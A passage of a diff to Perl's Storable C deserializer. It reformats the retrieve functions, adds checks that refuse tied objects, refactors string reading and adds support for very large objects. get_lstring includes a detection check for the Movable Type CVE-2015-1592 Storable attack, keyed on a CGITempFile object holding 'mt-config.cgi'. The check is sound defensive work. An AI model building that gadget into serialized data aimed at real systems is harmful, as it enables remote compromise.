+    else if (SvTYPE(sv) != SVt_NULL) {
+        obj = sv;
+    }
 
-	if (obj) {
-		/* Undo refcnt inc from sv_magic() */
-		SvREFCNT_dec(obj);
-	}
+    sv_upgrade(tv, SVt_PVMG);
+    sv_magic(tv, obj, 'q', (char *)NULL, 0);
 
-	TRACEME(("ok (retrieve_tied_scalar at 0x%" UVxf ")", PTR2UV(tv)));
+    if (obj) {
+        /* Undo refcnt inc from sv_magic() */
+        SvREFCNT_dec(obj);
+    }
 
-	return tv;
+    TRACEME(("ok (retrieve_tied_scalar at 0x%" UVxf ")", PTR2UV(tv)));
+
+    return tv;
 }
 
 /*
@@ -4830,30 +5649,34 @@
  */
 static SV *retrieve_tied_key(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *tv;
-	SV *sv;
-	SV *key;
-	HV *stash;
+    SV *tv;
+    SV *sv;
+    SV *key;
+    HV *stash;
 
-	TRACEME(("retrieve_tied_key (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_tied_key (#%d)", (int)cxt->tagnum));
 
-	tv = NEWSV(10002, 0);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(tv, stash, 0);			/* Will return if tv is null */
-	sv = retrieve(aTHX_ cxt, 0);		/* Retrieve <object> */
-	if (!sv)
-		return (SV *) 0;		/* Failed */
+    if (!(cxt->flags & FLAG_TIE_OK)) {
+        CROAK(("Tying is disabled."));
+    }
 
-	key = retrieve(aTHX_ cxt, 0);		/* Retrieve <key> */
-	if (!key)
-		return (SV *) 0;		/* Failed */
+    tv = NEWSV(10002, 0);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(tv, stash, 0);		/* Will return if tv is null */
+    sv = retrieve(aTHX_ cxt, 0);	/* Retrieve <object> */
+    if (!sv)
+        return (SV *) 0;		/* Failed */
 
-	sv_upgrade(tv, SVt_PVMG);
-	sv_magic(tv, sv, 'p', (char *)key, HEf_SVKEY);
-	SvREFCNT_dec(key);			/* Undo refcnt inc from sv_magic() */
-	SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
+    key = retrieve(aTHX_ cxt, 0);	/* Retrieve <key> */
+    if (!key)
+        return (SV *) 0;		/* Failed */
 
-	return tv;
+    sv_upgrade(tv, SVt_PVMG);
+    sv_magic(tv, sv, 'p', (char *)key, HEf_SVKEY);
+    SvREFCNT_dec(key);			/* Undo refcnt inc from sv_magic() */
+    SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
+
+    return tv;
 }
 
 /*
@@ -4864,84 +5687,126 @@
  */
 static SV *retrieve_tied_idx(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *tv;
-	SV *sv;
-	HV *stash;
-	I32 idx;
+    SV *tv;
+    SV *sv;
+    HV *stash;
+    I32 idx;
 
-	TRACEME(("retrieve_tied_idx (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_tied_idx (#%d)", (int)cxt->tagnum));
 
-	tv = NEWSV(10002, 0);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(tv, stash, 0);			/* Will return if tv is null */
-	sv = retrieve(aTHX_ cxt, 0);		/* Retrieve <object> */
-	if (!sv)
-		return (SV *) 0;		/* Failed */
+    if (!(cxt->flags & FLAG_TIE_OK)) {
+        CROAK(("Tying is disabled."));
+    }
 
-	RLEN(idx);					/* Retrieve <idx> */
+    tv = NEWSV(10002, 0);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(tv, stash, 0);		/* Will return if tv is null */
+    sv = retrieve(aTHX_ cxt, 0);	/* Retrieve <object> */
+    if (!sv)
+        return (SV *) 0;		/* Failed */
 
-	sv_upgrade(tv, SVt_PVMG);
-	sv_magic(tv, sv, 'p', (char *)NULL, idx);
-	SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
+    RLEN(idx);				/* Retrieve <idx> */
 
-	return tv;
+    sv_upgrade(tv, SVt_PVMG);
+    sv_magic(tv, sv, 'p', (char *)NULL, idx);
+    SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
+
+    return tv;
 }
 
-
 /*
- * retrieve_lscalar
+ * get_lstring
  *
- * Retrieve defined long (string) scalar.
- *
- * Layout is SX_LSCALAR <length> <data>, with SX_LSCALAR already read.
- * The scalar is "long" in that <length> is larger than LG_SCALAR so it
- * was not stored on a single byte.
+ * Helper to read a string
  */
-static SV *retrieve_lscalar(pTHX_ stcxt_t *cxt, const char *cname)
+static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname)
 {
-	I32 len;
-	SV *sv;
-	HV *stash;
+    SV *sv;
+    HV *stash;
 
-	RLEN(len);
-	TRACEME(("retrieve_lscalar (#%d), len = %" IVdf, cxt->tagnum, (IV) len));
+    TRACEME(("get_lstring (#%d), len = %" UVuf, (int)cxt->tagnum, len));
 
-	/*
-	 * Allocate an empty scalar of the suitable length.
-	 */
+    /*
+     * Allocate an empty scalar of the suitable length.
+     */
 
-	sv = NEWSV(10002, len);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
+    sv = NEWSV(10002, len);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
 
-	if (len ==  0) {
-	    SvPVCLEAR(sv);
-	    return sv;
-	}
+    if (len ==  0) {
+        SvPVCLEAR(sv);
+        return sv;
+    }
 
-	/*
-	 * WARNING: duplicates parts of sv_setpv and breaks SV data encapsulation.
-	 *
-	 * Now, for efficiency reasons, read data directly inside the SV buffer,
-	 * and perform the SV final settings directly by duplicating the final
-	 * work done by sv_setpv. Since we're going to allocate lots of scalars
-	 * this way, it's worth the hassle and risk.
-	 */
+    /*
+     * WARNING: duplicates parts of sv_setpv and breaks SV data encapsulation.
+     *
+     * Now, for efficiency reasons, read data directly inside the SV buffer,
+     * and perform the SV final settings directly by duplicating the final
+     * work done by sv_setpv. Since we're going to allocate lots of scalars
+     * this way, it's worth the hassle and risk.
+     */
 
-	SAFEREAD(SvPVX(sv), len, sv);
-	SvCUR_set(sv, len);				/* Record C string length */
-	*SvEND(sv) = '\0';				/* Ensure it's null terminated anyway */
-	(void) SvPOK_only(sv);			/* Validate string pointer */
-	if (cxt->s_tainted)				/* Is input source tainted? */
-		SvTAINT(sv);				/* External data cannot be trusted */
+    SAFEREAD(SvPVX(sv), len, sv);
+    SvCUR_set(sv, len);			/* Record C string length */
+    *SvEND(sv) = '\0';			/* Ensure it's null terminated anyway */
+    (void) SvPOK_only(sv);		/* Validate string pointer */
+    if (cxt->s_tainted)			/* Is input source tainted? */
+        SvTAINT(sv);			/* External data cannot be trusted */
 
-	TRACEME(("large scalar len %" IVdf " '%s'", (IV) len, SvPVX(sv)));
-	TRACEME(("ok (retrieve_lscalar at 0x%" UVxf ")", PTR2UV(sv)));
+    /* Check for CVE-215-1592 */
+    if (cname && len == 13 && strEQc(cname, "CGITempFile")
+        && strEQc(SvPVX(sv), "mt-config.cgi")) {
+#if defined(USE_CPERL) && defined(WARN_SECURITY)
+        Perl_warn_security(aTHX_
+            "Movable-Type CVE-2015-1592 Storable metasploit attack");
+#else
+        Perl_warn(aTHX_
+            "SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack");
+#endif
+    }
 
-	return sv;
+    if (isutf8) {
+        TRACEME(("large utf8 string len %" UVuf " '%s'", len,
+                 len >= 2048 ? "<string too long>" : SvPVX(sv)));
+#ifdef HAS_UTF8_SCALARS
+        SvUTF8_on(sv);
+#else
+        if (cxt->use_bytes < 0)
+            cxt->use_bytes
+                = (SvTRUE(get_sv("Storable::drop_utf8", GV_ADD))
+                   ? 1 : 0);
+        if (cxt->use_bytes == 0)
+            UTF8_CROAK();
+#endif
+    } else {
+        TRACEME(("large string len %" UVuf " '%s'", len,
+                 len >= 2048 ? "<string too long>" : SvPVX(sv)));
+    }
+    TRACEME(("ok (get_lstring at 0x%" UVxf ")", PTR2UV(sv)));
+
+    return sv;
 }
 
 /*
+ * retrieve_lscalar
+ *
+ * Retrieve defined long (string) scalar.
+ *
+ * Layout is SX_LSCALAR <length> <data>, with SX_LSCALAR already read.
+ * The scalar is "long" in that <length> is larger than LG_SCALAR so it
+ * was not stored on a single byte, but in 4 bytes. For strings longer than
+ * 4 byte (>2GB) see retrieve_lobject.
+ */
+static SV *retrieve_lscalar(pTHX_ stcxt_t *cxt, const char *cname)
+{
+    U32 len;
+    RLEN(len);
+    return get_lstring(aTHX_ cxt, len, 0, cname);
+}
+
+/*
  * retrieve_scalar
  *
  * Retrieve defined short (string) scalar.
@@ -4952,57 +5817,13 @@
  */
 static SV *retrieve_scalar(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	int len;
-	SV *sv;
-	HV *stash;
+    int len;
+    /*SV *sv;
+      HV *stash;*/
 
-	GETMARK(len);
-	TRACEME(("retrieve_scalar (#%d), len = %d", cxt->tagnum, len));
-
-	/*
-	 * Allocate an empty scalar of the suitable length.
-	 */
-
-	sv = NEWSV(10002, len);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
-
-	/*
-	 * WARNING: duplicates parts of sv_setpv and breaks SV data encapsulation.
-	 */
-
-	if (len == 0) {
-		/*
-		 * newSV did not upgrade to SVt_PV so the scalar is undefined.
-		 * To make it defined with an empty length, upgrade it now...
-		 * Don't upgrade to a PV if the original type contains more
-		 * information than a scalar.
-		 */
-		if (SvTYPE(sv) <= SVt_PV) {
-			sv_upgrade(sv, SVt_PV);
-		}
-		SvGROW(sv, 1);
-		*SvEND(sv) = '\0';			/* Ensure it's null terminated anyway */
-		TRACEME(("ok (retrieve_scalar empty at 0x%" UVxf ")", PTR2UV(sv)));
-	} else {
-		/*
-		 * Now, for efficiency reasons, read data directly inside the SV buffer,
-		 * and perform the SV final settings directly by duplicating the final
-		 * work done by sv_setpv. Since we're going to allocate lots of scalars
-		 * this way, it's worth the hassle and risk.
-		 */
-		SAFEREAD(SvPVX(sv), len, sv);
-		SvCUR_set(sv, len);			/* Record C string length */
-		*SvEND(sv) = '\0';			/* Ensure it's null terminated anyway */
-		TRACEME(("small scalar len %d '%s'", len, SvPVX(sv)));
-	}
-
-	(void) SvPOK_only(sv);			/* Validate string pointer */
-	if (cxt->s_tainted)				/* Is input source tainted? */
-		SvTAINT(sv);				/* External data cannot be trusted */
-
-	TRACEME(("ok (retrieve_scalar at 0x%" UVxf ")", PTR2UV(sv)));
-	return sv;
+    GETMARK(len);
+    TRACEME(("retrieve_scalar (#%d), len = %d", (int)cxt->tagnum, len));
+    return get_lstring(aTHX_ cxt, (UV)len, 0, cname);
 }
 
 /*
@@ -5013,25 +5834,12 @@
  */
 static SV *retrieve_utf8str(pTHX_ stcxt_t *cxt, const char *cname)
 {
-    SV *sv;
+    int len;
+    /*SV *sv;*/
 
     TRACEME(("retrieve_utf8str"));
-
-    sv = retrieve_scalar(aTHX_ cxt, cname);
-    if (sv) {
-#ifdef HAS_UTF8_SCALARS
-        SvUTF8_on(sv);
-#else
-        if (cxt->use_bytes < 0)
-            cxt->use_bytes
-                = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD))
-                   ? 1 : 0);
-        if (cxt->use_bytes == 0)
-            UTF8_CROAK();
-#endif
-    }
-
-    return sv;
+    GETMARK(len);
+    return get_lstring(aTHX_ cxt, (UV)len, 1, cname);
 }
 
 /*
@@ -5042,24 +5850,12 @@
  */
 static SV *retrieve_lutf8str(pTHX_ stcxt_t *cxt, const char *cname)
 {
-    SV *sv;
+    U32 len;
 
     TRACEME(("retrieve_lutf8str"));
 
-    sv = retrieve_lscalar(aTHX_ cxt, cname);
-    if (sv) {
-#ifdef HAS_UTF8_SCALARS
-        SvUTF8_on(sv);
-#else
-        if (cxt->use_bytes < 0)
-            cxt->use_bytes
-                = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD))
-                   ? 1 : 0);
-        if (cxt->use_bytes == 0)
-            UTF8_CROAK();
-#endif
-    }
-    return sv;
+    RLEN(len);
+    return get_lstring(aTHX_ cxt, (UV)len, 1, cname);
 }
 
 /*
@@ -5075,26 +5871,26 @@
 static SV *retrieve_vstring(pTHX_ stcxt_t *cxt, const char *cname)
 {
 #ifdef SvVOK
-	char s[256];
-	int len;
-	SV *sv;
+    char s[256];
+    int len;
+    SV *sv;
 
-	GETMARK(len);
-	TRACEME(("retrieve_vstring (#%d), len = %d", cxt->tagnum, len));
+    GETMARK(len);
+    TRACEME(("retrieve_vstring (#%d), len = %d", (int)cxt->tagnum, len));
 
-	READ(s, len);
+    READ(s, len);
+    sv = retrieve(aTHX_ cxt, cname);
+    if (!sv)
+        return (SV *) 0;		/* Failed */
+    sv_magic(sv,NULL,PERL_MAGIC_vstring,s,len);
+    /* 5.10.0 and earlier seem to need this */
+    SvRMAGICAL_on(sv);
 
-	sv = retrieve(aTHX_ cxt, cname);
-
-	sv_magic(sv,NULL,PERL_MAGIC_vstring,s,len);
-	/* 5.10.0 and earlier seem to need this */
-	SvRMAGICAL_on(sv);
-
-	TRACEME(("ok (retrieve_vstring at 0x%" UVxf ")", PTR2UV(sv)));
-	return sv;
+    TRACEME(("ok (retrieve_vstring at 0x%" UVxf ")", PTR2UV(sv)));
+    return sv;
 #else
-	VSTRING_CROAK();
-	return Nullsv;
+    VSTRING_CROAK();
+    return Nullsv;
 #endif
 }
 
@@ -5106,30 +5902,33 @@
 static SV *retrieve_lvstring(pTHX_ stcxt_t *cxt, const char *cname)
 {
 #ifdef SvVOK
-	char *s;
-	I32 len;
-	SV *sv;
+    char *s;
+    I32 len;
+    SV *sv;
 
-	RLEN(len);
-	TRACEME(("retrieve_lvstring (#%d), len = %" IVdf,
-		  cxt->tagnum, (IV)len));
+    RLEN(len);
+    TRACEME(("retrieve_lvstring (#%d), len = %" IVdf,
+             (int)cxt->tagnum, (IV)len));
 
-	New(10003, s, len+1, char);
-	SAFEPVREAD(s, len, s);
+    New(10003, s, len+1, char);
+    SAFEPVREAD(s, len, s);
 
-	sv = retrieve(aTHX_ cxt, cname);
+    sv = retrieve(aTHX_ cxt, cname);
+    if (!sv) {
+        Safefree(s);
+        return (SV *) 0;		/* Failed */
+    }
+    sv_magic(sv,NULL,PERL_MAGIC_vstring,s,len);
+    /* 5.10.0 and earlier seem to need this */
+    SvRMAGICAL_on(sv);
 
-	sv_magic(sv,NULL,PERL_MAGIC_vstring,s,len);
-	/* 5.10.0 and earlier seem to need this */
-	SvRMAGICAL_on(sv);
+    Safefree(s);
 
-	Safefree(s);
-
-	TRACEME(("ok (retrieve_lvstring at 0x%" UVxf ")", PTR2UV(sv)));
-	return sv;
+    TRACEME(("ok (retrieve_lvstring at 0x%" UVxf ")", PTR2UV(sv)));
+    return sv;
 #else
-	VSTRING_CROAK();
-	return Nullsv;
+    VSTRING_CROAK();
+    return Nullsv;
 #endif
 }
 
@@ -5141,24 +5940,107 @@
  */
 static SV *retrieve_integer(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv;
-	HV *stash;
-	IV iv;
+    SV *sv;
+    HV *stash;
+    IV iv;
 
-	TRACEME(("retrieve_integer (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_integer (#%d)", (int)cxt->tagnum));
 
-	READ(&iv, sizeof(iv));
-	sv = newSViv(iv);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
+    READ(&iv, sizeof(iv));
+    sv = newSViv(iv);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
 
-	TRACEME(("integer %" IVdf, iv));
-	TRACEME(("ok (retrieve_integer at 0x%" UVxf ")", PTR2UV(sv)));
+    TRACEME(("integer %" IVdf, iv));
+    TRACEME(("ok (retrieve_integer at 0x%" UVxf ")", PTR2UV(sv)));
 
-	return sv;
+    return sv;
 }
 
 /*
+ * retrieve_lobject
+ *
+ * Retrieve overlong scalar, array or hash.
+ * Layout is SX_LOBJECT type U64_len ...
+ */
+static SV *retrieve_lobject(pTHX_ stcxt_t *cxt, const char *cname)
+{
+    int type;
+#ifdef HAS_U64
+    UV  len;
+    SV *sv;
+    int hash_flags = 0;
+#endif
+
+    TRACEME(("retrieve_lobject (#%d)", (int)cxt->tagnum));
+
+    GETMARK(type);
+    TRACEME(("object type %d", type));
+#ifdef HAS_U64
+
+    if (type == SX_FLAG_HASH) {
+	/* we write the flags immediately after the op.  I could have
+	   changed the writer, but this may allow someone to recover
+	   data they're already frozen, though such a very large hash
+	   seems unlikely.
+	*/
+	GETMARK(hash_flags);
+    }
+    else if (type == SX_HOOK) {
+        return retrieve_hook_common(aTHX_ cxt, cname, TRUE);
+    }
+
+    READ_U64(len);
+    TRACEME(("wlen %" UVuf, len));
+    switch (type) {
+    case SX_OBJECT:
+        {
+            /* not a large object, just a large index */
+            SV **svh = av_fetch(cxt->aseen, len, FALSE);
+            if (!svh)
+                CROAK(("Object #%" UVuf " should have been retrieved already",
+                      len));
+            sv = *svh;
+            TRACEME(("had retrieved #%" UVuf " at 0x%" UVxf, len, PTR2UV(sv)));
+            SvREFCNT_inc(sv);
+        }
+        break;
+    case SX_LSCALAR:
+        sv = get_lstring(aTHX_ cxt, len, 0, cname);
+        break;
+    case SX_LUTF8STR:
+        sv = get_lstring(aTHX_ cxt, len, 1, cname);
+        break;
+    case SX_ARRAY:
+        sv = get_larray(aTHX_ cxt, len, cname);
+        break;
+    /* <5.12 you could store larger hashes, but cannot iterate over them.
+       So we reject them, it's a bug. */
+    case SX_FLAG_HASH:
+        sv = get_lhash(aTHX_ cxt, len, hash_flags, cname);
+        break;
+    case SX_HASH:
+        sv = get_lhash(aTHX_ cxt, len, 0, cname);
+        break;
+    default:
+        CROAK(("Unexpected type %d in retrieve_lobject\n", type));
+    }
+
+    TRACEME(("ok (retrieve_lobject at 0x%" UVxf ")", PTR2UV(sv)));
+    return sv;
+#else
+    PERL_UNUSED_ARG(cname);
+
+    /* previously this (brokenly) checked the length value and only failed if 
+       the length was over 4G.
+       Since this op should only occur with objects over 4GB (or 2GB) we can just
+       reject it.
+    */
+    CROAK(("Invalid large object op for this 32bit system"));
+#endif
+}
+
+/*
  * retrieve_netint
  *
  * Retrieve defined integer in network order.
@@ -5166,26 +6048,26 @@
  */
 static SV *retrieve_netint(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv;
-	HV *stash;
-	I32 iv;
+    SV *sv;
+    HV *stash;
+    I32 iv;
 
-	TRACEME(("retrieve_netint (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_netint (#%d)", (int)cxt->tagnum));
 
-	READ_I32(iv);
+    READ_I32(iv);
 #ifdef HAS_NTOHL
-	sv = newSViv((int) ntohl(iv));
-	TRACEME(("network integer %d", (int) ntohl(iv)));
+    sv = newSViv((int) ntohl(iv));
+    TRACEME(("network integer %d", (int) ntohl(iv)));
 #else
-	sv = newSViv(iv);
-	TRACEME(("network integer (as-is) %d", iv));
+    sv = newSViv(iv);
+    TRACEME(("network integer (as-is) %d", iv));
 #endif
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
 
-	TRACEME(("ok (retrieve_netint at 0x%" UVxf ")", PTR2UV(sv)));
+    TRACEME(("ok (retrieve_netint at 0x%" UVxf ")", PTR2UV(sv)));
 
-	return sv;
+    return sv;
 }
 
 /*
@@ -5196,21 +6078,21 @@
  */
 static SV *retrieve_double(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv;
-	HV *stash;
-	NV nv;
+    SV *sv;
+    HV *stash;
+    NV nv;
 
-	TRACEME(("retrieve_double (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_double (#%d)", (int)cxt->tagnum));
 
-	READ(&nv, sizeof(nv));
-	sv = newSVnv(nv);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
+    READ(&nv, sizeof(nv));
+    sv = newSVnv(nv);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
 
-	TRACEME(("double %" NVff, nv));
-	TRACEME(("ok (retrieve_double at 0x%" UVxf ")", PTR2UV(sv)));
+    TRACEME(("double %" NVff, nv));
+    TRACEME(("ok (retrieve_double at 0x%" UVxf ")", PTR2UV(sv)));
 
-	return sv;
+    return sv;
 }
 
 /*
@@ -5221,24 +6103,29 @@
  */
 static SV *retrieve_byte(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv;
-	HV *stash;
-	int siv;
-	signed char tmp;	/* Workaround for AIX cc bug --H.Merijn Brand */
+    SV *sv;
+    HV *stash;
+    int siv;
+#ifdef _MSC_VER
+    /* MSVC 2017 doesn't handle the AIX workaround well */
+    int tmp;
+#else
+    signed char tmp;	/* Workaround for AIX cc bug --H.Merijn Brand */
+#endif
 
-	TRACEME(("retrieve_byte (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_byte (#%d)", (int)cxt->tagnum));
 
-	GETMARK(siv);
-	TRACEME(("small integer read as %d", (unsigned char) siv));
-	tmp = (unsigned char) siv - 128;
-	sv = newSViv(tmp);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
+    GETMARK(siv);
+    TRACEME(("small integer read as %d", (unsigned char) siv));
+    tmp = (unsigned char) siv - 128;
+    sv = newSViv(tmp);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 0);	/* Associate this new scalar with tag "tagnum" */
 
-	TRACEME(("byte %d", tmp));
-	TRACEME(("ok (retrieve_byte at 0x%" UVxf ")", PTR2UV(sv)));
+    TRACEME(("byte %d", tmp));
+    TRACEME(("ok (retrieve_byte at 0x%" UVxf ")", PTR2UV(sv)));
 
-	return sv;
+    return sv;
 }
 
 /*
@@ -5248,16 +6135,16 @@
  */
 static SV *retrieve_undef(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv;
-	HV *stash;
+    SV *sv;
+    HV *stash;
 
-	TRACEME(("retrieve_undef"));
+    TRACEME(("retrieve_undef"));
 
-	sv = newSV(0);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 0);
+    sv = newSV(0);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 0);
 
-	return sv;
+    return sv;
 }
 
 /*
@@ -5267,20 +6154,20 @@
  */
 static SV *retrieve_sv_undef(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv = &PL_sv_undef;
-	HV *stash;
+    SV *sv = &PL_sv_undef;
+    HV *stash;
 
-	TRACEME(("retrieve_sv_undef"));
+    TRACEME(("retrieve_sv_undef"));
 
-	/* Special case PL_sv_undef, as av_fetch uses it internally to mark
-	   deleted elements, and will return NULL (fetch failed) whenever it
-	   is fetched.  */
-	if (cxt->where_is_undef == -1) {
-		cxt->where_is_undef = cxt->tagnum;
-	}
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 1);
-	return sv;
+    /* Special case PL_sv_undef, as av_fetch uses it internally to mark
+       deleted elements, and will return NULL (fetch failed) whenever it
+       is fetched.  */
+    if (cxt->where_is_undef == UNSET_NTAG_T) {
+        cxt->where_is_undef = cxt->tagnum;
+    }
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 1);
+    return sv;
 }
 
 /*
@@ -5290,14 +6177,14 @@
  */
 static SV *retrieve_sv_yes(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv = &PL_sv_yes;
-	HV *stash;
+    SV *sv = &PL_sv_yes;
+    HV *stash;
 
-	TRACEME(("retrieve_sv_yes"));
+    TRACEME(("retrieve_sv_yes"));
 
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 1);
-	return sv;
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 1);
+    return sv;
 }
 
 /*
@@ -5307,14 +6194,14 @@
  */
 static SV *retrieve_sv_no(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv = &PL_sv_no;
-	HV *stash;
+    SV *sv = &PL_sv_no;
+    HV *stash;
 
-	TRACEME(("retrieve_sv_no"));
+    TRACEME(("retrieve_sv_no"));
 
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 1);
-	return sv;
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 1);
+    return sv;
 }
 
 /*
@@ -5326,13 +6213,13 @@
  */
 static SV *retrieve_svundef_elem(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	TRACEME(("retrieve_svundef_elem"));
+    TRACEME(("retrieve_svundef_elem"));
 
-	/* SEEN reads the contents of its SV argument, which we are not
-	   supposed to do with &PL_sv_placeholder. */
-	SEEN_NN(&PL_sv_undef, cname, 1);
+    /* SEEN reads the contents of its SV argument, which we are not
+       supposed to do with &PL_sv_placeholder. */
+    SEEN_NN(&PL_sv_undef, cname, 1);
 
-	return &PL_sv_placeholder;
+    return &PL_sv_placeholder;
 }
 
 /*
@@ -5346,55 +6233,186 @@
  */
 static SV *retrieve_array(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	I32 len;
-	I32 i;
-	AV *av;
-	SV *sv;
-	HV *stash;
-	bool seen_null = FALSE;
+    I32 len, i;
+    AV *av;
+    SV *sv;
+    HV *stash;
+    bool seen_null = FALSE;
 
-	TRACEME(("retrieve_array (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_array (#%d)", (int)cxt->tagnum));
 
-	/*
-	 * Read length, and allocate array, then pre-extend it.
-	 */
+    /*
+     * Read length, and allocate array, then pre-extend it.
+     */
 
-	RLEN(len);
-	TRACEME(("size = %d", len));
-	av = newAV();
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(av, stash, 0);			/* Will return if array not allocated nicely */
-	if (len)
-		av_extend(av, len);
-	else
-		return (SV *) av;		/* No data follow if array is empty */
+    RLEN(len);
+    TRACEME(("size = %d", (int)len));
+    av = newAV();
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(av, stash, 0); /* Will return if array not allocated nicely */
+    if (len)
+        av_extend(av, len);
+    else
+        return (SV *) av;	/* No data follow if array is empty */
 
-	/*
-	 * Now get each item in turn...
-	 */
+    /*
+     * Now get each item in turn...
+     */
 
-	for (i = 0; i < len; i++) {
-		TRACEME(("(#%d) item", i));
-		sv = retrieve(aTHX_ cxt, 0);			/* Retrieve item */
-		if (!sv)
-			return (SV *) 0;
-		if (sv == &PL_sv_undef) {
-			seen_null = TRUE;
-			continue;
-		}
-		if (sv == &PL_sv_placeholder)
-			sv = &PL_sv_undef;
-		if (av_store(av, i, sv) == 0)
-			return (SV *) 0;
-	}
-	if (seen_null) av_fill(av, len-1);
+    for (i = 0; i < len; i++) {
+        TRACEME(("(#%d) item", (int)i));
+        sv = retrieve(aTHX_ cxt, 0);	/* Retrieve item */
+        if (!sv)
+            return (SV *) 0;
+        if (sv == &PL_sv_undef) {
+            seen_null = TRUE;
+            continue;
+        }
+        if (sv == &PL_sv_placeholder)
+            sv = &PL_sv_undef;
+        if (av_store(av, i, sv) == 0)
+            return (SV *) 0;
+    }
+    if (seen_null) av_fill(av, len-1);
 
-	TRACEME(("ok (retrieve_array at 0x%" UVxf ")", PTR2UV(av)));
+    TRACEME(("ok (retrieve_array at 0x%" UVxf ")", PTR2UV(av)));
 
-	return (SV *) av;
+    return (SV *) av;
 }
 
+#ifdef HAS_U64
+
+/* internal method with len already read */
+
+static SV *get_larray(pTHX_ stcxt_t *cxt, UV len, const char *cname)
+{
+    UV i;
+    AV *av;
+    SV *sv;
+    HV *stash;
+    bool seen_null = FALSE;
+
+    TRACEME(("get_larray (#%d) %lu", (int)cxt->tagnum, (unsigned long)len));
+
+    /*
+     * allocate array, then pre-extend it.
+     */
+
+    av = newAV();
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(av, stash, 0); /* Will return if array not allocated nicely */
+    assert(len);
+    av_extend(av, len);
+
+    /*
+     * Now get each item in turn...
+     */
+
+    for (i = 0; i < len; i++) {
+        TRACEME(("(#%d) item", (int)i));
+        sv = retrieve(aTHX_ cxt, 0);		/* Retrieve item */
+        if (!sv)
+            return (SV *) 0;
+        if (sv == &PL_sv_undef) {
+            seen_null = TRUE;
+            continue;
+        }
+        if (sv == &PL_sv_placeholder)
+            sv = &PL_sv_undef;
+        if (av_store(av, i, sv) == 0)
+            return (SV *) 0;
+    }
+    if (seen_null) av_fill(av, len-1);
+
+    TRACEME(("ok (get_larray at 0x%" UVxf ")", PTR2UV(av)));
+
+    return (SV *) av;
+}
+
 /*
+ * get_lhash
+ *
+ * Retrieve a overlong hash table.
+ * <len> is already read. What follows is each key/value pair, in random order.
+ * Keys are stored as <length> <data>, the <data> section being omitted
+ * if length is 0.
+ * Values are stored as <object>.
+ *
